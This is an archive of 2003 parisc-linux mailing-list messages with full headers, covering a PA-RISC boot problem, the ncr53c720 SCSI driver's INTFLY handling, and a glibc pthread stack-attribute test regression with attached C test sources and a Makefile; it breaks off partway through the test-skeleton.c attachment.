>/dev/sda2     5   34   123690  82  Linux swap
>/dev/sda3  * 35  277  1001889  83  Linux
>
it seems that sda3 stand well into the first 2gb of your disk?
Do you have severall disk on your system and so do boot on the right disk?
if your system 'autoboot', interupt it with [Esc]; the main menu would 
show you something like:
   Primary boot path:    core.FWSCSI.6.0
   Alternate boot path:  
core.FWSCSI.5.0                                                                     


>
>After the reboot I get the following result:
>
>Booting...
>Boot IO Dependent Code (IODC) revision 1
>HARD Booted.
>
>... and everything nothing happens. I assume that I should see PALO
>starting from the /dev/sda1 partition,
>
yes

> but it don't want to start.
>
>What could be possibly wrong?
>
>Is there any solution or workaround for this problem?
>
Try to restart your netinstall, in the second menu you should be able to 
go into a small shell.
There create first /mnt/BD in your ramdisk and so mount /dev/sda3 /mnt/DB.
verify first the contents of /mnt/DB/etc/palo.conf.

hth,
    Joel



From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken
 on C110
Date: Sun, 28 Sep 2003 17:13:34 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <3F7716BE.8030008@tiscali.be>
References: <3F76A312.8090603@tiscali.be> <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622822 31708 80.91.229.3 (22 Nov 2014 02:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 11:13:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B45C6489B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 11:13:40 -0600 (MDT)
Original-Received: from [62.235.120.167] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3f75-0008BA-Sq; Sun, 28 Sep 2003 19:13:40 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19655

Matthew Wilcox wrote:

>On Sun, Sep 28, 2003 at 09:00:02AM +0000, Joel Soete wrote:
>  
>
>>I am sure there is no hw pb because after that test I can always reboot 
>>with 2.6.0-test5-PA6:
>>    
>>
>
>This is good to hear.
>
>  
>
>>Can somebody could help me to find patches (step by step) applied on 
>>this driver from -pa6 to -pa22?
>>    
>>
>
>Yes.  Could you start with -pa18 (or -pa20)?
>http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.0-test5-pa18.gz
>
Thanks Matthew,
(why didn't I think myself ;) )

>(or cvs up -rCVS260_TEST5_PA18)
>
>The driver is rev 1.5 in -test5-pa6.  rev 1.6 is in -test5-pa18.
>After -test5-pa20, we don't have anyautotagged stuff, but let's start
>with -pa18.
>  
>
Ok I will look and advise you,

Joel




From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: Sun, 28 Sep 2003 17:56:31 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030928165631.GS5759@sleepie.demon.co.uk>
References: <20030927072449.5AF0F494058@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622822 31711 80.91.229.3 (22 Nov 2014 02:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 11:20:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc1-hem11-4-cust109.lutn.cable.ntl.com [80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id F368348B8
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 11:20:46 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 065FC9E718; Sun, 28 Sep 2003 17:56:31 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20030927072449.5AF0F494058@palinux.hppa>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19656

On Sat, Sep 27, 2003 at 01:24:49AM -0600, Matthew Wilcox wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	willy	03/09/27 01:24:49
> 
> Modified files:
> 	drivers/scsi   : Makefile NCR_Q720.c ncr53c8xx.c 
> 	                 sym53c8xx_defs.h 
> 
> Log message:
> SIMULATED_INTFLY is always true for ncr720 chips, so remove the other case.

Only because I didn't get it to work properly when I did the original
720 support, iirc.  The chip does have INTFLY.  I _think_ INTFLY worked
a bit, but the driver tended to miss interrupts sometimes.  Could easily
have been a driver bug.  Was a long time ago now though, so I could be
misremembering.

Richard



From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: 28 Sep 2003 12:24:26 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1064769945.10841.1.camel@mulgrave>
References: <20030927072449.5AF0F494058@palinux.hppa> 
	<20030928165631.GS5759@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622823 31713 80.91.229.3 (22 Nov 2014 02:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:23 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 11:25:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8834D48BB
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 11:25:48 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8SHOxq21070;
	Sun, 28 Sep 2003 13:25:00 -0400
In-Reply-To: <20030928165631.GS5759@sleepie.demon.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19657

On Sun, 2003-09-28 at 11:56, Richard Hirst wrote:
> Only because I didn't get it to work properly when I did the original
> 720 support, iirc.  The chip does have INTFLY.  I _think_ INTFLY worked
> a bit, but the driver tended to miss interrupts sometimes.  Could easily
> have been a driver bug.  Was a long time ago now though, so I could be
> misremembering.

Actually, the 720 is bust in silicon.  The 770 has a properly working
intfly, but the 720's doesnt work reliably.  Actually, the Q720 board
this driver also drives is wired to have a special "intfly" from a board
register to get around the problem.

James




From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pthread attributes and stack positions (gcc related?)
Date: Sun, 28 Sep 2003 13:42:26 -0400
Lines: 859
Approved: news@gmane.org
Message-ID: <20030928174226.GA3040@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC"
X-Trace: ger.gmane.org 1416622823 31717 80.91.229.3 (22 Nov 2014 02:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:23 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 11:45:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27E6348BE
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 11:45:04 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A3fYx-0001Gd-00; Sun, 28 Sep 2003 13:42:27 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (4% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19658

--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


I've noticed that we've regressed on a pthread test "tst-attr1" and it
seems to complain that our thread variables are stored outside the stack
that the thred "thinks" is it's stack.

The following code is a simplified case of tst-attr1.c in the glibc
testsuite. I would recommend that you look at the original code too.

The question I have is... how is this supposed to work? If anyone is
more cluefull than me on this I would appreciate a pointer in the right
direction :)

===
./test-attr
In child
&a=0xfaf00ac8, stackaddr=0x40046e60, stacksize=0xbffb91a0
./test-attr: pthread_attr_getstack returned range does not cover main's stack
In parent
&a=0xfaf00ac8, stackaddr=0x40046e60, stacksize=0xbffb91a0
./test-attr: pthread_attr_getstack returned range does not cover main's stack
===

The variable is definately on the process stack. The thread's stack 
address seems to be inside the libraries 'writable' space and the stack 
size is wrong (or uninitialized). Perhaps I should just be looking for 
arch-dependant init code that we might be missing.

=== tst-attr1 from glibc ===
tst-attr1: pthread_attr_getstack returned range does not cover main's stack
thread stack 0x40245000-0x40a44000 (0x7ff000)
thread guardsize 4096
thread stack 0x40a45000-0x40c44000 (0x1ff000)
thread guardsize 4096
thread stack 0x40245000-0x40444000 (0x1ff000)
thread guardsize 65536
===

Attached is the Makefile to build the simplified tst-attr1.c (requires
test-skeleton.c wrapper, included aswell) or rather test-attr.c

Input and thoughts appreciated. This failure in glibc is rather
orthogonal to the release of 2.3.2, I'm still concentrating on the last
sysdep cancel failure (last bug to fix before a working release).

c.



--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=Makefile


all: test-attr.o
	gcc -lpthread -o test-attr test-attr.o
test:
	./test-attr
clean:
	rm -rf *.o
	rm -rf test-attr


--wRRV7LY7NUeQGEoC
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="tst-attr1.c"

/* pthread_getattr_np test.
   Copyright (C) 2003 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   Contributed by Jakub Jelinek <jakub@redhat.com>, 2003.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#include <errno.h>
#include <error.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <stackinfo.h>

static void *
tf (void *arg)
{
  pthread_attr_t a, *ap, a2;
  int err;
  void *result = NULL;

  if (arg == NULL)
    {
      ap = &a2;
      err = pthread_attr_init (ap);
      if (err)
        {
          error (0, err, "pthread_attr_init failed");
          return tf;
        }
    }
  else
    ap = (pthread_attr_t *) arg;

  err = pthread_getattr_np (pthread_self (), &a);
  if (err)
    {
      error (0, err, "pthread_getattr_np failed");
      result = tf;
    }

  int detachstate1, detachstate2;
  err = pthread_attr_getdetachstate (&a, &detachstate1);
  if (err)
    {
      error (0, err, "pthread_attr_getdetachstate failed");
      result = tf;
    }
  else
    {
      err = pthread_attr_getdetachstate (ap, &detachstate2);
      if (err)
	{
	  error (0, err, "pthread_attr_getdetachstate failed");
	  result = tf;
	}
      else if (detachstate1 != detachstate2)
	{
	  error (0, 0, "detachstate differs %d != %d",
		 detachstate1, detachstate2);
	  result = tf;
	}
    }

  void *stackaddr;
  size_t stacksize;
  err = pthread_attr_getstack (&a, &stackaddr, &stacksize);
  if (err)
    {
      error (0, err, "pthread_attr_getstack failed");
      result = tf;
    }
  else if ((void *) &a < stackaddr
	   || (void *) &a >= stackaddr + stacksize)
    {
      error (0, 0, "pthread_attr_getstack returned range does not cover thread's stack");
      result = tf;
    }
  else
    printf ("thread stack %p-%p (0x%zx)\n", stackaddr, stackaddr + stacksize,
	    stacksize);

  size_t guardsize1, guardsize2;
  err = pthread_attr_getguardsize (&a, &guardsize1);
  if (err)
    {
      error (0, err, "pthread_attr_getguardsize failed");
      result = tf;
    }
  else
    {
      err = pthread_attr_getguardsize (ap, &guardsize2);
      if (err)
	{
	  error (0, err, "pthread_attr_getguardsize failed");
	  result = tf;
	}
      else if (guardsize1 != guardsize2)
	{
	  error (0, 0, "guardsize differs %zd != %zd",
		 guardsize1, guardsize2);
	  result = tf;
	}
      else
	printf ("thread guardsize %zd\n", guardsize1);
    }

  int scope1, scope2;
  err = pthread_attr_getscope (&a, &scope1);
  if (err)
    {
      error (0, err, "pthread_attr_getscope failed");
      result = tf;
    }
  else
    {
      err = pthread_attr_getscope (ap, &scope2);
      if (err)
	{
	  error (0, err, "pthread_attr_getscope failed");
	  result = tf;
	}
      else if (scope1 != scope2)
	{
	  error (0, 0, "scope differs %d != %d",
		 scope1, scope2);
	  result = tf;
	}
    }

  err = pthread_attr_destroy (&a);
  if (err)
    {
      error (0, err, "pthread_attr_destroy failed");
      result = tf;
    }

  if (ap == &a2)
    {
      err = pthread_attr_destroy (ap);
      if (err)
	{
	  error (0, err, "pthread_attr_destroy failed");
	  result = tf;
	}
    }

  return result;
}


static int
do_test (void)
{
  int result = 0;
  pthread_attr_t a;

  int err = pthread_attr_init (&a);
  if (err)
    {
      error (0, err, "pthread_attr_init failed");
      result = 1;
    }

  err = pthread_attr_destroy (&a);
  if (err)
    {
      error (0, err, "pthread_attr_destroy failed");
      result = 1;
    }

  err = pthread_getattr_np (pthread_self (), &a);
  if (err)
    {
      error (0, err, "pthread_getattr_np failed");
      result = 1;
    }

  int detachstate;
  err = pthread_attr_getdetachstate (&a, &detachstate);
  if (err)
    {
      error (0, err, "pthread_attr_getdetachstate failed");
      result = 1;
    }
  else if (detachstate != PTHREAD_CREATE_JOINABLE)
    {
      error (0, 0, "initial thread not joinable");
      result = 1;
    }

  void *stackaddr;
  size_t stacksize;
  err = pthread_attr_getstack (&a, &stackaddr, &stacksize);
  if (err)
    {
      error (0, err, "pthread_attr_getstack failed");
      result = 1;
    }
  else if ((void *) &a < stackaddr
	   || (void *) &a >= stackaddr + stacksize)
    {
      error (0, 0, "pthread_attr_getstack returned range does not cover main's stack");
      result = 1;
    }
  else
    printf ("initial thread stack %p-%p (0x%zx)\n", stackaddr,
	    stackaddr + stacksize, stacksize);

  size_t guardsize;
  err = pthread_attr_getguardsize (&a, &guardsize);
  if (err)
    {
      error (0, err, "pthread_attr_getguardsize failed");
      result = 1;
    }
  else if (guardsize != 0)
    {
      error (0, 0, "pthread_attr_getguardsize returned %zd != 0",
	     guardsize);
      result = 1;
    }

  int scope;
  err = pthread_attr_getscope (&a, &scope);
  if (err)
    {
      error (0, err, "pthread_attr_getscope failed");
      result = 1;
    }
  else if (scope != PTHREAD_SCOPE_SYSTEM)
    {
      error (0, 0, "pthread_attr_getscope returned %d != PTHREAD_SCOPE_SYSTEM",
	     scope);
      result = 1;
    }

  int inheritsched;
  err = pthread_attr_getinheritsched (&a, &inheritsched);
  if (err)
    {
      error (0, err, "pthread_attr_getinheritsched failed");
      result = 1;
    }
  else if (inheritsched != PTHREAD_INHERIT_SCHED)
    {
      error (0, 0, "pthread_attr_getinheritsched returned %d != PTHREAD_INHERIT_SCHED",
	     inheritsched);
      result = 1;
    }

  err = pthread_attr_destroy (&a);
  if (err)
    {
      error (0, err, "pthread_attr_destroy failed");
      result = 1;
    }

  pthread_t th;
  err = pthread_create (&th, NULL, tf, NULL);
  if (err)
    {
      error (0, err, "pthread_create #1 failed");
      result = 1;
    }
  else
    {
      void *ret;
      err = pthread_join (th, &ret);
      if (err)
	{
	  error (0, err, "pthread_join #1 failed");
	  result = 1;
	}
      else if (ret != NULL)
        result = 1;
    }

  err = pthread_attr_init (&a);
  if (err)
    {
      error (0, err, "pthread_attr_init failed");
      result = 1;
    }

  err = pthread_create (&th, &a, tf, &a);
  if (err)
    {
      error (0, err, "pthread_create #2 failed");
      result = 1;
    }
  else
    {
      void *ret;
      err = pthread_join (th, &ret);
      if (err)
	{
	  error (0, err, "pthread_join #2 failed");
	  result = 1;
	}
      else if (ret != NULL)
        result = 1;
    }

  err = pthread_attr_setguardsize (&a, 16 * sysconf (_SC_PAGESIZE));
  if (err)
    {
      error (0, err, "pthread_attr_setguardsize failed");
      result = 1;
    }

  err = pthread_create (&th, &a, tf, &a);
  if (err)
    {
      error (0, err, "pthread_create #3 failed");
      result = 1;
    }
  else
    {
      void *ret;
      err = pthread_join (th, &ret);
      if (err)
	{
	  error (0, err, "pthread_join #3 failed");
	  result = 1;
	}
      else if (ret != NULL)
        result = 1;
    }

  err = pthread_attr_destroy (&a);
  if (err)
    {
      error (0, err, "pthread_attr_destroy failed");
      result = 1;
    }

  return result;
}

#define TEST_FUNCTION do_test ()
#include "../test-skeleton.c"

--wRRV7LY7NUeQGEoC
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="test-attr.c"

#include <errno.h>
#include <error.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void){	

	pthread_attr_t a;
	int result = 0;
	void *stackaddr = NULL;
	size_t stacksize = 0;
	int err;
	pid_t ret;
	
	ret = fork();
	if( ret != 0 ){
		wait(NULL);
		printf("In parent\n");
	} else if ( ret == -1 ) { 
		printf("Error forking.\n");
		exit(1);
	} else {
		printf("In child\n");
	}
	
	err = pthread_attr_init (&a);
	if (err){
		error(0, err, "pthread_attr_init failed");
		exit(1);
	}
	
	err = pthread_getattr_np (pthread_self (), &a);
	if (err){
		error (0, err, "pthread_getattr_np failed");
		exit(1);
	}
    
	err = pthread_attr_getstack (&a, &stackaddr, &stacksize);
	printf("&a=0x%x, stackaddr=0x%x, stacksize=0x%x\n",
        	(unsigned int)(&a),(unsigned int)stackaddr,stacksize);
	if (err){
		error (0, err, "pthread_attr_getstack failed");
		result = 1;
	} else if ((void *) &a < stackaddr || (void *) &a >= stackaddr + stacksize){
		error (0, 0, "pthread_attr_getstack returned range does not cover main's stack");
		result = 1;
	} else
	printf ("initial thread stack %p-%p (0x%zx)\n", 
		stackaddr, stackaddr + stacksize, stacksize);
	exit(0);
}



--wRRV7LY7NUeQGEoC
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="test-skeleton.c"

/* Skeleton for test programs.
   Copyright (C) 1998, 2000, 2001, 2002, 2003 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   Contributed by Ulrich Drepper <drepper@cygnus.com>, 1998.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#include <errno.h>
#include <getopt.h>
#include <search.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <time.h>

/* The test function is normally called `do_test' and it is called
   with argc and argv as the arguments.  We nevertheless provide the
   possibility to overwrite this name.  */
#ifndef TEST_FUNCTION
# define TEST_FUNCTION do_test (argc, argv)
#endif

#ifndef TEST_DATA_LIMIT
# define TEST_DATA_LIMIT (64 << 20) /* Data limit (bytes) to run with.  */
#endif

#define OPT_DIRECT 1000
#define OPT_TESTDIR 1001

static struct option options[] =
{
#ifdef CMDLINE_OPTIONS
  CMDLINE_OPTIONS
#endif
  { "direct", no_argument, NULL, OPT_DIRECT },
  { "test-dir", required_argument, NULL, OPT_TESTDIR },
  { NULL, 0, NULL, 0 }
};

/* PID of the test itself.  */
static pid_t pid;

/* Directory to place temporary files in.  */
static const char *test_dir;

/* List of temporary files.  */
struct temp_name_list
{
  struct qelem q;
  const char *name;
} *temp_name_list;

/* Add temporary files in list.  */
static void
__attribute__ ((unused))
add_temp_file (const char *name)
{
  struct temp_name_list *newp
    = (struct temp_name_list *) calloc (sizeof (*newp), 1);
  if (newp != NULL)
    {
      newp->name = name;
      if (temp_name_list == NULL)
	temp_name_list = (struct temp_name_list *) &newp->q;
      else
	insque (newp, temp_name_list);
    }
}

/* Delete all temporary files.  */
static void
delete_temp_files (void)
{
  while (temp_name_list != NULL)
    {
      remove (temp_name_list->name);
      temp_name_list = (struct temp_name_list *) temp_name_list->q.q_forw;
    }
}

/* Create a temporary file.  */
static int
__attribute__ ((unused))
create_temp_file (const char *base, char **filename)
{
  char *fname;
  int fd;

  fname = (char *) malloc (strlen (test_dir) + 1 + strlen (base)
			   + sizeof ("XXXXXX"));
  if (fname == NULL)
    {
      puts ("out of memory");
      return -1;
    }
  strcpy (stpcpy (stpcpy (stpcpy (fname, test_dir), "/"), base), "XXXXXX");

  fd = mkstemp (fname);
  if (fd == -1)
    {
      printf ("cannot open temporary file '%s': %m\n", fname);
      free (fname);
      return -1;
    }

  add_temp_file (fname);
  if (filename != NULL)
    *filename = fname;

  return fd;
}

/* Timeout handler.  We kill the child and exit with an error.  */
static void
__attribute__ ((noreturn))
timeout_handler (int sig __attribute__ ((unused)))
{
  int killed;
  int status;

  /* Send signal.  */
  kill (pid, SIGKILL);

  /* Wait for it to terminate.  */
  int i;
  for (i = 0; i < 5; ++i)
    {
      killed = waitpid (pid, &status, WNOHANG|WUNTRACED);
      if (killed != 0)
	break;

      /* Delay, give the system time to process the kill.  If the
	 nanosleep() call return prematurely, all the better.  We
	 won't restart it since this probably means the child process
	 finally died.  */
      struct timespec ts = { .tv_sec = 0, .tv_nsec = 100000000 };
      nanosleep (&ts, NULL);
    }
  if (killed != 0 && killed != pid)
    {
      perror ("Failed to killed test process");
      exit (1);
    }

#ifdef CLEANUP_HANDLER
  CLEANUP_HANDLER;
#endif

  /* If we expected this signal: good!  */
#ifdef EXPECTED_SIGNAL
  if (EXPECTED_SIGNAL == SIGALRM)
    exit (0);
#endif

  if (killed == 0 || (WIFSIGNALED (status) && WTERMSIG (status) == SIGKILL))
    fputs ("Timed out: killed the child process\n", stderr);
  else if (WIFSTOPPED (status))
    fprintf (stderr, "Timed out: the child process was %s\n",
	     strsignal (WSTOPSIG (status)));
  else if (WIFSIGNALED (status))
    fprintf (stderr, "Timed out: the child process got signal %s\n",
	     strsignal (WTERMSIG (status)));
  else
    fprintf (stderr, "Timed out: killed the child process but it exited %d\n",
	     WEXITSTATUS (status));

  /* Exit with an error.  */
  exit (1);
}

/* We provide the entry point here.  */
int
main (int argc, char *argv[])
{
  int direct = 0;	/* Directly call the test function?  */
  int status;
  int opt;
  pid_t termpid;

#ifdef STDOUT_UNBUFFERED
  setbuf (stdout, NULL);
#endif

  while ((opt = getopt_long (argc, argv, "+", options, NULL)) != -1)
    switch (opt)
      {
      case '?':
	exit (1);
      case OPT_DIRECT:
	direct = 1;
	break;
      case OPT_TESTDIR:
	test_dir = optarg;
	break;
#ifdef CMDLINE_PROCESS
	CMDLINE_PROCESS
#endif
      }

  /* Set TMPDIR to specified test directory.  */
  if (test_dir != NULL)
    {
      setenv ("TMPDIR", test_dir, 1);

      if (chdir (test_dir) < 0)
	{
	  perror ("chdir");
	  exit (1);
	}
    }
  else
    {
      test_dir = getenv ("TMPDIR");
      if (test_dir == NULL || test_dir[0] == '\0')
	test_dir = "/tmp";
    }

  /* Make sure we see all message, even those on stdout.  */
  setvbuf (stdout, NULL, _IONBF, 0);

  /* make sure temporary files are deleted.  */
  atexit (delete_temp_files);

  /* Correct for the possible parameters.  */
  argv[optind - 1] = argv[0];
  argv += optind - 1;
  argc -= optind - 1;

  /* Call the initializing function, if one is available.  */
#ifdef PREPARE
  PREPARE (argc, argv);
#endif

  /* If we are not expected to fork run the function immediately.  */
  if (direct)
    return TEST_FUNCTION;

  /* Set up the test environment:
     - prevent core dumps
     - set up the timer
     - fork and execute the function.  */

